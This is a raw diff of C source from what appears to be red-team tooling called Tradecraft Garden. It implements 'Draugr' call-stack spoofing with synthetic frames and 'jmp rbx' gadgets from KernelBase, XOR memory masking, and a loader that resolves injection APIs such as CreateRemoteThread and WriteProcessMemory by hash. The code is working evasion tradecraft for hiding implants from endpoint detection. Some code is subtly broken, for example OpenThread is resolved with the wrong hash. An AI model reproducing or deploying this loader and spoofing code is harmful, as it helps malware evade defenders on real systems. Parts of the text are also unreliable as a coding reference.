||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "hash.h"
|
||||
#include "proxy.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define RBP_OP_INFO 0x5
|
||||
#define draugrArg(i) (ULONG_PTR)functionCall->args[i]
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
|
||||
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR);
|
||||
DECLSPEC_IMPORT PRUNTIME_FUNCTION WINAPI KERNEL32$RtlLookupFunctionEntry (DWORD64, PDWORD64, PUNWIND_HISTORY_TABLE);
|
||||
DECLSPEC_IMPORT ULONG NTAPI NTDLL$RtlRandomEx (PULONG);
|
||||
|
||||
/* the proxy pic */
|
||||
DECLSPEC_IMPORT PVOID SpoofStub(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID);
|
||||
|
||||
// God Bless Vulcan Raven.
|
||||
typedef struct _STACK_FRAME {
|
||||
LPCWSTR DllPath;
|
||||
ULONG Offset;
|
||||
ULONGLONG TotalStackSize;
|
||||
BOOL RequiresLoadLibrary;
|
||||
BOOL SetsFramePointer;
|
||||
PVOID ReturnAddress;
|
||||
BOOL PushRbp;
|
||||
ULONG CountOfCodes;
|
||||
BOOL PushRbpIndex;
|
||||
} STACK_FRAME, * PSTACK_FRAME;
|
||||
|
||||
typedef enum _UNWIND_OP_CODES {
|
||||
UWOP_PUSH_NONVOL = 0,
|
||||
UWOP_ALLOC_LARGE,
|
||||
UWOP_ALLOC_SMALL,
|
||||
UWOP_SET_FPREG,
|
||||
UWOP_SAVE_NONVOL,
|
||||
UWOP_SAVE_NONVOL_FAR,
|
||||
UWOP_SAVE_XMM128 = 8,
|
||||
UWOP_SAVE_XMM128_FAR,
|
||||
UWOP_PUSH_MACHFRAME
|
||||
} UNWIND_CODE_OPS;
|
||||
|
||||
typedef unsigned char UBYTE;
|
||||
|
||||
typedef union _UNWIND_CODE {
|
||||
struct {
|
||||
UBYTE CodeOffset;
|
||||
UBYTE UnwindOp : 4;
|
||||
UBYTE OpInfo : 4;
|
||||
};
|
||||
USHORT FrameOffset;
|
||||
} UNWIND_CODE, *PUNWIND_CODE;
|
||||
|
||||
typedef struct _UNWIND_INFO {
|
||||
UBYTE Version : 3;
|
||||
UBYTE Flags : 5;
|
||||
UBYTE SizeOfProlog;
|
||||
UBYTE CountOfCodes;
|
||||
UBYTE FrameRegister : 4;
|
||||
UBYTE FrameOffset : 4;
|
||||
UNWIND_CODE UnwindCode[1];
|
||||
} UNWIND_INFO, *PUNWIND_INFO;
|
||||
|
||||
typedef struct _FRAME_INFO {
|
||||
PVOID ModuleAddress;
|
||||
PVOID FunctionAddress;
|
||||
DWORD Offset;
|
||||
} FRAME_INFO, * PFRAME_INFO;
|
||||
|
||||
typedef struct _SYNTHETIC_STACK_FRAME {
|
||||
FRAME_INFO Frame1;
|
||||
FRAME_INFO Frame2;
|
||||
PVOID pGadget;
|
||||
} SYNTHETIC_STACK_FRAME, * PSYNTHETIC_STACK_FRAME;
|
||||
|
||||
typedef struct {
|
||||
PVOID function;
|
||||
int argc;
|
||||
ULONG_PTR args[10];
|
||||
} FUNCTION_CALL, * PFUNCTION_CALL;
|
||||
|
||||
typedef struct _DRAUGR_FUNCTION_CALL {
|
||||
PFUNCTION_CALL FunctionCall;
|
||||
PVOID StackFrame;
|
||||
PVOID SpoofCall;
|
||||
} DRAUGR_FUNCTION_CALL, *PDRAUGR_FUNCTION_CALL;
|
||||
|
||||
SYNTHETIC_STACK_FRAME g_stackFrame;
|
||||
|
||||
void applyxor(char * data, DWORD len);
|
||||
void xorsection(MEMORY_SECTION * section, BOOL mask);
|
||||
void xorregion(MEMORY_REGION * region, BOOL mask);
|
||||
void xormemory(BOOL mask);
|
||||
|
||||
void initFrameInfo()
|
||||
{
|
||||
PVOID pModuleFrame1 = KERNEL32$GetModuleHandleA("kernel32.dll");
|
||||
PVOID pModuleFrame2 = KERNEL32$GetModuleHandleA("ntdll.dll");
|
||||
|
||||
g_stackFrame.Frame1.ModuleAddress = pModuleFrame1;
|
||||
g_stackFrame.Frame1.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame1, "BaseThreadInitThunk");
|
||||
g_stackFrame.Frame1.Offset = 0x17;
|
||||
|
||||
g_stackFrame.Frame2.ModuleAddress = pModuleFrame2;
|
||||
g_stackFrame.Frame2.FunctionAddress = (PVOID)GetProcAddress((HMODULE)pModuleFrame2, "RtlUserThreadStart");
|
||||
g_stackFrame.Frame2.Offset = 0x2c;
|
||||
|
||||
g_stackFrame.pGadget = KERNEL32$GetModuleHandleA("KernelBase.dll");
|
||||
}
|
||||
|
||||
BOOL getTextSectionSize(PVOID pModule, PDWORD pdwVirtualAddress, PDWORD pdwSize)
|
||||
{
|
||||
PIMAGE_DOS_HEADER pImgDosHeader = (PIMAGE_DOS_HEADER)(pModule);
|
||||
|
||||
if (pImgDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_NT_HEADERS pImgNtHeaders = (PIMAGE_NT_HEADERS)((UINT_PTR)pModule + pImgDosHeader->e_lfanew);
|
||||
|
||||
if (pImgNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PIMAGE_SECTION_HEADER pImgSectionHeader = IMAGE_FIRST_SECTION(pImgNtHeaders);
|
||||
|
||||
for (int i = 0; i < pImgNtHeaders->FileHeader.NumberOfSections; i++)
|
||||
{
|
||||
DWORD h = hash((char*)pImgSectionHeader[i].Name);
|
||||
if (h == TEXT_HASH)
|
||||
{
|
||||
*pdwVirtualAddress = pImgSectionHeader[i].VirtualAddress;
|
||||
*pdwSize = pImgSectionHeader[i].SizeOfRawData;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
PVOID calculateFunctionStackSize(PRUNTIME_FUNCTION pRuntimeFunction, const DWORD64 imageBase)
|
||||
{
|
||||
PUNWIND_INFO pUnwindInfo = NULL;
|
||||
ULONG unwindOperation = 0;
|
||||
ULONG operationInfo = 0;
|
||||
ULONG index = 0;
|
||||
ULONG frameOffset = 0;
|
||||
|
||||
STACK_FRAME stackFrame;
|
||||
memset(&stackFrame, 0, sizeof(stackFrame));
|
||||
|
||||
if (!pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pUnwindInfo = (PUNWIND_INFO)(pRuntimeFunction->UnwindData + imageBase);
|
||||
|
||||
while (index < pUnwindInfo->CountOfCodes)
|
||||
{
|
||||
unwindOperation = pUnwindInfo->UnwindCode[index].UnwindOp;
|
||||
operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if (unwindOperation == UWOP_PUSH_NONVOL)
|
||||
{
|
||||
stackFrame.TotalStackSize += 8;
|
||||
if (RBP_OP_INFO == operationInfo) {
|
||||
stackFrame.PushRbp = TRUE;
|
||||
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
|
||||
stackFrame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_NONVOL)
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_SMALL)
|
||||
{
|
||||
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_LARGE)
|
||||
{
|
||||
index += 1;
|
||||
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
|
||||
if (operationInfo == 0) {
|
||||
frameOffset *= 8;
|
||||
}
|
||||
else {
|
||||
index += 1;
|
||||
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
|
||||
}
|
||||
stackFrame.TotalStackSize += frameOffset;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SET_FPREG)
|
||||
{
|
||||
stackFrame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_XMM128)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
|
||||
{
|
||||
index = pUnwindInfo->CountOfCodes;
|
||||
if (0 != (index & 1)) {
|
||||
index += 1;
|
||||
}
|
||||
|
||||
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
|
||||
return calculateFunctionStackSize(pRuntimeFunction, imageBase);
|
||||
}
|
||||
|
||||
stackFrame.TotalStackSize += 8;
|
||||
return (PVOID)(stackFrame.TotalStackSize);
|
||||
}
|
||||
|
||||
PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress)
|
||||
{
|
||||
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
|
||||
DWORD64 ImageBase = 0;
|
||||
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
|
||||
|
||||
if (!returnAddress) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
|
||||
|
||||
if (NULL == pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculateFunctionStackSize(pRuntimeFunction, ImageBase);
|
||||
}
|
||||
|
||||
PVOID findGadget(PVOID pModuleAddr)
|
||||
{
|
||||
BOOL bFoundGadgets = FALSE;
|
||||
DWORD dwTextSectionSize = 0;
|
||||
DWORD dwTextSectionVa = 0;
|
||||
DWORD dwCounter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG randomNbr = 0;
|
||||
PVOID pModTextSection = NULL;
|
||||
|
||||
PVOID pGadgetList[15];
|
||||
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
|
||||
|
||||
if (!bFoundGadgets)
|
||||
{
|
||||
if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
|
||||
|
||||
for (int i = 0; i < (dwTextSectionSize - 2); i++)
|
||||
{
|
||||
// Searching for jmp rbx gadget
|
||||
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
|
||||
{
|
||||
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
|
||||
dwCounter++;
|
||||
|
||||
if (dwCounter == 15) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bFoundGadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
randomNbr = NTDLL$RtlRandomEx(&seed);
|
||||
randomNbr %= dwCounter;
|
||||
|
||||
return pGadgetList[randomNbr];
|
||||
}
|
||||
|
||||
ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID returnAddress = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugrParameters;
|
||||
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
|
||||
|
||||
// configure BaseThreadInitThunk frame
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
|
||||
draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress);
|
||||
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// configure RtlUserThreadStart frame.
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
|
||||
draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress);
|
||||
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Ensure that the gadget stack size is bigger than 0x80, which is min
|
||||
* required to hold 10 arguments, otherwise it will crash sporadically.
|
||||
*/
|
||||
|
||||
do {
|
||||
draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget);
|
||||
draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline);
|
||||
|
||||
attempts++;
|
||||
|
||||
// quick sanity check for infinite loop
|
||||
if (attempts > 15) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
|
||||
|
||||
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// make the call!
|
||||
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
|
||||
}
|
||||
|
||||
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
|
||||
{
|
||||
/* very inelegant */
|
||||
if (functionCall->argc == 0) {
|
||||
return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 1) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 2) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 3) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 4) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 5) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 6) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 7) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 8) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 9) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 10) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
|
||||
} else if (functionCall->argc == 11) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
|
||||
} else if (functionCall->argc == 12) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
|
||||
}
|
||||
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
+227
-325
@@ -1,392 +1,294 @@
|
||||
/*
|
||||
* Copyright (C) 2025 Raphael Mudge, Adversary Fan Fiction Writers Guild
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* This file is part of Tradecraft Garden
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <https://www.gnu.org/licenses/>.
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
void setupProxy(void * loaderArgument);
|
||||
void go(void * loaderArgument);
|
||||
|
||||
__attribute__((noinline, no_reorder)) void go(void * loaderArgument) {
|
||||
setupProxy(loaderArgument);
|
||||
char * loaderStart() {
|
||||
return (char *)go;
|
||||
}
|
||||
|
||||
#include "loaderdefs.h"
|
||||
#include "loader.h"
|
||||
#include "picorun.h"
|
||||
#include "hash.h"
|
||||
#include "resolve_eat.h"
|
||||
#include "tp.h"
|
||||
#include "proxy.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
#define DLL_POSTEX_START 0x4
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
DRAUGR Draugr;
|
||||
WIN32_FUNC(RtlLookupFunctionEntry);
|
||||
WIN32_FUNC(GetModuleHandleA);
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualAllocEx);
|
||||
WIN32_FUNC(VirtualProtect);
|
||||
WIN32_FUNC(VirtualProtectEx);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(GetThreadContext);
|
||||
WIN32_FUNC(SetThreadContext);
|
||||
WIN32_FUNC(ResumeThread);
|
||||
WIN32_FUNC(CreateThread);
|
||||
WIN32_FUNC(CreateRemoteThread);
|
||||
WIN32_FUNC(OpenProcess);
|
||||
WIN32_FUNC(OpenThread);
|
||||
WIN32_FUNC(CloseHandle);
|
||||
WIN32_FUNC(CreateFileMappingA);
|
||||
WIN32_FUNC(MapViewOfFile);
|
||||
WIN32_FUNC(UnmapViewOfFile);
|
||||
WIN32_FUNC(VirtualQuery);
|
||||
WIN32_FUNC(DuplicateHandle);
|
||||
WIN32_FUNC(ReadProcessMemory);
|
||||
WIN32_FUNC(WriteProcessMemory);
|
||||
WIN32_FUNC(ExitThread);
|
||||
WIN32_FUNC(CreateProcessA);
|
||||
WIN32_FUNC(Sleep);
|
||||
|
||||
TPALLOCWORK TpAllocWork;
|
||||
TPPOSTWORK TpPostWork;
|
||||
TPRELEASEWORK TpReleaseWork;
|
||||
void * NtAllocateVirtualMemory;
|
||||
void * NtProtectVirtualMemory;
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
DRAUGR Draugr;
|
||||
WIN32_FUNC(VirtualAlloc);
|
||||
WIN32_FUNC(VirtualAllocEx);
|
||||
WIN32_FUNC(VirtualProtect);
|
||||
WIN32_FUNC(VirtualProtectEx);
|
||||
WIN32_FUNC(VirtualFree);
|
||||
WIN32_FUNC(VirtualQuery);
|
||||
WIN32_FUNC(GetThreadContext);
|
||||
WIN32_FUNC(SetThreadContext);
|
||||
WIN32_FUNC(ResumeThread);
|
||||
WIN32_FUNC(CreateThread);
|
||||
WIN32_FUNC(CreateRemoteThread);
|
||||
WIN32_FUNC(OpenProcess);
|
||||
WIN32_FUNC(OpenThread);
|
||||
WIN32_FUNC(ExitThread);
|
||||
WIN32_FUNC(CloseHandle);
|
||||
WIN32_FUNC(Sleep);
|
||||
WIN32_FUNC(CreateFileMappingA);
|
||||
WIN32_FUNC(MapViewOfFile);
|
||||
WIN32_FUNC(UnmapViewOfFile);
|
||||
WIN32_FUNC(DuplicateHandle);
|
||||
WIN32_FUNC(ReadProcessMemory);
|
||||
WIN32_FUNC(WriteProcessMemory);
|
||||
WIN32_FUNC(CreateProcessA);
|
||||
} WIN32FUNCS;
|
||||
|
||||
void findNeededFunctions(WIN32FUNCS * funcs)
|
||||
{
|
||||
char * kernel32 = (char *)findModuleByHash(KERNEL32DLL_HASH);
|
||||
char * ntdll = (char *)findModuleByHash(NTDLLDLL_HASH);
|
||||
|
||||
funcs->LoadLibraryA = (__typeof__(LoadLibraryA) *) findFunctionByHash(kernel32, LOADLIBRARYA_HASH);
|
||||
funcs->GetProcAddress = (__typeof__(GetProcAddress) *) findFunctionByHash(kernel32, GETPROCADDRESS_HASH);
|
||||
funcs->RtlLookupFunctionEntry = (__typeof__(RtlLookupFunctionEntry) *) findFunctionByHash(kernel32, RTLLOOKUPFUNCTIONENTRY_HASH);
|
||||
funcs->GetModuleHandleA = (__typeof__(GetModuleHandleA) *) findFunctionByHash(kernel32, GETMODULEHANDLEA_HASH);
|
||||
funcs->VirtualAlloc = (__typeof__(VirtualAlloc) *) findFunctionByHash(kernel32, VIRTUALALLOC_HASH);
|
||||
funcs->VirtualAllocEx = (__typeof__(VirtualAllocEx) *) findFunctionByHash(kernel32, VIRTUALALLOCEX_HASH);
|
||||
funcs->VirtualProtect = (__typeof__(VirtualProtect) *) findFunctionByHash(kernel32, VIRTUALPROTECT_HASH);
|
||||
funcs->VirtualProtectEx = (__typeof__(VirtualProtectEx) *) findFunctionByHash(kernel32, VIRTUALPROTECTEX_HASH);
|
||||
funcs->VirtualFree = (__typeof__(VirtualFree) *) findFunctionByHash(kernel32, VIRTUALFREE_HASH);
|
||||
funcs->GetThreadContext = (__typeof__(GetThreadContext) *) findFunctionByHash(kernel32, GETTHREADCONTEXT_HASH);
|
||||
funcs->SetThreadContext = (__typeof__(SetThreadContext) *) findFunctionByHash(kernel32, SETTHREADCONTEXT_HASH);
|
||||
funcs->ResumeThread = (__typeof__(ResumeThread) *) findFunctionByHash(kernel32, RESUMETHREAD_HASH);
|
||||
funcs->CreateThread = (__typeof__(CreateThread) *) findFunctionByHash(kernel32, CREATETHREAD_HASH);
|
||||
funcs->CreateRemoteThread = (__typeof__(CreateRemoteThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
|
||||
funcs->OpenProcess = (__typeof__(OpenProcess) *) findFunctionByHash(kernel32, OPENPROCESS_HASH);
|
||||
funcs->OpenThread = (__typeof__(OpenThread) *) findFunctionByHash(kernel32, CREATEREMOTETHREAD_HASH);
|
||||
funcs->CloseHandle = (__typeof__(CloseHandle) *) findFunctionByHash(kernel32, CLOSEHANDLE_HASH);
|
||||
funcs->CreateFileMappingA = (__typeof__(CreateFileMappingA) *) findFunctionByHash(kernel32, CREATEFILEMAPPINGA_HASH);
|
||||
funcs->MapViewOfFile = (__typeof__(MapViewOfFile) *) findFunctionByHash(kernel32, MAPVIEWOFFILE_HASH);
|
||||
funcs->UnmapViewOfFile = (__typeof__(UnmapViewOfFile) *) findFunctionByHash(kernel32, UNMAPVIEWOFFILE_HASH);
|
||||
funcs->VirtualQuery = (__typeof__(VirtualQuery) *) findFunctionByHash(kernel32, VIRTUALQUERY_HASH);
|
||||
funcs->DuplicateHandle = (__typeof__(DuplicateHandle) *) findFunctionByHash(kernel32, DUPLICATEHANDLE_HASH);
|
||||
funcs->ReadProcessMemory = (__typeof__(ReadProcessMemory) *) findFunctionByHash(kernel32, READPROCESSMEMORY_HASH);
|
||||
funcs->WriteProcessMemory = (__typeof__(WriteProcessMemory) *) findFunctionByHash(kernel32, WRITEPROCESSMEMORY_HASH);
|
||||
funcs->ExitThread = (__typeof__(ExitThread) *) findFunctionByHash(kernel32, EXITTHREAD_HASH);
|
||||
funcs->CreateProcessA = (__typeof__(CreateProcessA) *) findFunctionByHash(kernel32, CREATEPROCESSA_HASH);
|
||||
funcs->Sleep = (__typeof__(Sleep) *) findFunctionByHash(kernel32, SLEEP_HASH);
|
||||
|
||||
funcs->TpAllocWork = (TPALLOCWORK) findFunctionByHash(ntdll, TPALLOCWORK_HASH);
|
||||
funcs->TpPostWork = (TPPOSTWORK) findFunctionByHash(ntdll, TPPOSTWORK_HASH);
|
||||
funcs->TpReleaseWork = (TPRELEASEWORK) findFunctionByHash(ntdll, TPRELEASEWORK_HASH);
|
||||
funcs->NtAllocateVirtualMemory = (void *) findFunctionByHash(ntdll, NTALLOCATEVIRTUALMEMORY_HASH);
|
||||
funcs->NtProtectVirtualMemory = (void *) findFunctionByHash(ntdll, NTPROTECTVIRTUALMEMORY_HASH);
|
||||
}
|
||||
|
||||
#ifdef WIN_X86
|
||||
__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)WIN_GET_CALLER(); }
|
||||
